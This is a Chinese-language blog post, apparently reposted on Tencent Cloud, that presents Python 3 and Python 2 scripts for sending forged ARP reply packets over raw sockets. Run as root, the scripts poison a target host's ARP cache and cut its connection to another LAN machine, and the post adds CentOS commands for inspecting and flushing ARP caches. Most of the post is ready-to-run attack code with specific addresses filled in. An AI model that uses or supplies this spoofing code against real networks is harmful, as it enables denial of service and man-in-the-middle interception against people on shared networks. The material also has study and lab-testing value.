基于python发送ARP欺骗消息

版权声明:本文为博主原创文章,转载请保留出处 https://blog.csdn.net/xyjincan/article/details/90691422

基于python发送ARP欺骗消息

  • 测试通过发送ARP欺骗数据包阻断局域网两台机器的连接
    • 发送arp欺骗包
    • 攻击成功后,18与19之前通信中断
    • 18主机上ARP变更情况
  • python3发送arp欺骗
  • python2发送arp欺骗
  • Centos7 ip命令参考

测试通过发送ARP欺骗数据包阻断局域网两台机器的连接

利用linux下python的socket标准库(socket.socket(socket.AF_PACKET, socket.SOCK_RAW)),发送自定义数据包到目标机器完成欺骗测试尝试,主要代码参考如下。

发送arp欺骗包

攻击成功后,18与19之前通信中断

18主机上ARP变更情况

python3发送arp欺骗

# -*- coding: utf-8 -*-  
## root@linux python3
import socket

def send_arp_is_at():
    s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
    ### 数据包出口网卡
    s.bind(("ens37", 0))
    ## 虚假IP
    #src_ip_addr = b"\x0a\x0a\x01\x13"
    src_ip_addr = ip2bin_ip("10.10.1.19")
    ##  虚假MAC地址(使目标虚假IP与被欺骗主机IP通信中断)
    #dst_mac_addr = b"\x00\x0c\x29\x05\x11\x00"
    dst_mac_addr = mac2bin_mac("00:0c:29:05:11:00")
	
    ## 即将被欺骗的主机的IP
    dst_ip_addr = ip2bin_ip("10.10.1.18")
    ##  即将被欺骗方的MAC地址
    src_mac_addr = mac2bin_mac("00:0c:29:05:6c:36")
    ## arp 回应
    arp_opcode = b"\x00\x02"
    s.send(src_mac_addr+dst_mac_addr+b"\x08\x06\x00\x01\x08\x00\x06\x04"+arp_opcode+dst_mac_addr+src_ip_addr+src_mac_addr+dst_ip_addr+b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
    print('send send_arp_is_at')

# transfer ip to bin_ip
def ip2bin_ip(ip):
    ip_list=ip.split('.')
    result_arr = b"";
    for i in range(4):  #0,1,2,3
        tnum = int(ip_list[i])
        bnum = tnum.to_bytes(1, byteorder = 'big', signed = False)
        result_arr = result_arr + bnum
    return result_arr

# transfer mac to bin_mac
def mac2bin_mac(mac):
    mac_list=mac.split(':')
    result_arr = b"";
    for i in range(6):  #0,1,2,3,4,5
        hexnum = mac_list[i]
        result_arr = result_arr + bytearray.fromhex(hexnum)
    return result_arr

if __name__ == '__main__':
    ## 发送欺骗包(使用root账户)
    send_arp_is_at()
    print("done"); 

python2发送arp欺骗

# -*- coding: utf-8 -*-  

## root@linux python2
import socket
import binascii


## ens37
##  10.10.1.19     \x0a\x0a\x01\x13 00:50:56:3a:11:09
##  10.10.1.18 \x0a\x0a\x01\x12  00:0c:29:05:6c:36        

def send_arp_is_at():
    s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
    ### 数据包出口网卡
    s.bind(("ens37", 0))
    ## 虚假IP
    src_ip_addr = ip2bin_ip("10.10.1.19")
    ##  虚假MAC地址(使虚假IP与被欺骗主机IP通信中断)
    dst_mac_addr = mac2bin_mac("00:0c:29:05:11:00")
    #src_ip_addr = "\x0a\x0a\x01\x13"
    #dst_mac_addr = "\x00\x0c\x29\x05\x11\x00"
    ## 即将被欺骗的主机的IP
    dst_ip_addr = ip2bin_ip("10.10.1.18")
    ##  即将被欺骗方的MAC地址
    src_mac_addr = mac2bin_mac("00:0c:29:05:6c:36")
    ## arp 回应
    arp_opcode = "\x00\x02"
    s.send(src_mac_addr+dst_mac_addr+"\x08\x06\x00\x01\x08\x00\x06\x04"+arp_opcode+dst_mac_addr+src_ip_addr+src_mac_addr+dst_ip_addr+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
    print('send send_arp_is_at')

## "00:0c:29:05:6c:36" to  str "\x00\x0c\x29\x05\x6c\x36"
def mac2bin_mac(mac):
    hexmac = mac.replace(':', "")
    return binascii.a2b_hex(hexmac)

## 10.10.1.18 to str "\x0a\x0a\x01\x12"
def ip2bin_ip(ip):

    ipns = ip.split('.')
    result_arr = "";
    for i in range(4):  #0,1,2,3
        tnum = int(ipns[i])
        bnum = hex(tnum)
        if(len(bnum)==3):
            bnum = "0x0" + bnum[2]
        result_arr = result_arr + bnum
    result_arr = result_arr.replace("0x","")
    return binascii.a2b_hex(result_arr)

if __name__ == '__main__':
    ## 发送欺骗包(使用root账户)
    send_arp_is_at()
    print("done");

Centos7 ip命令参考

## 查看ARP列表
ip neighbor show
## 清除ens37网口全部的ARP缓存
ip neighbor flush  dev ens37
## 关闭ens37网口
ip l set ens37 down
## 启用ens37网口
ip l set ens37 up

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

编辑于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券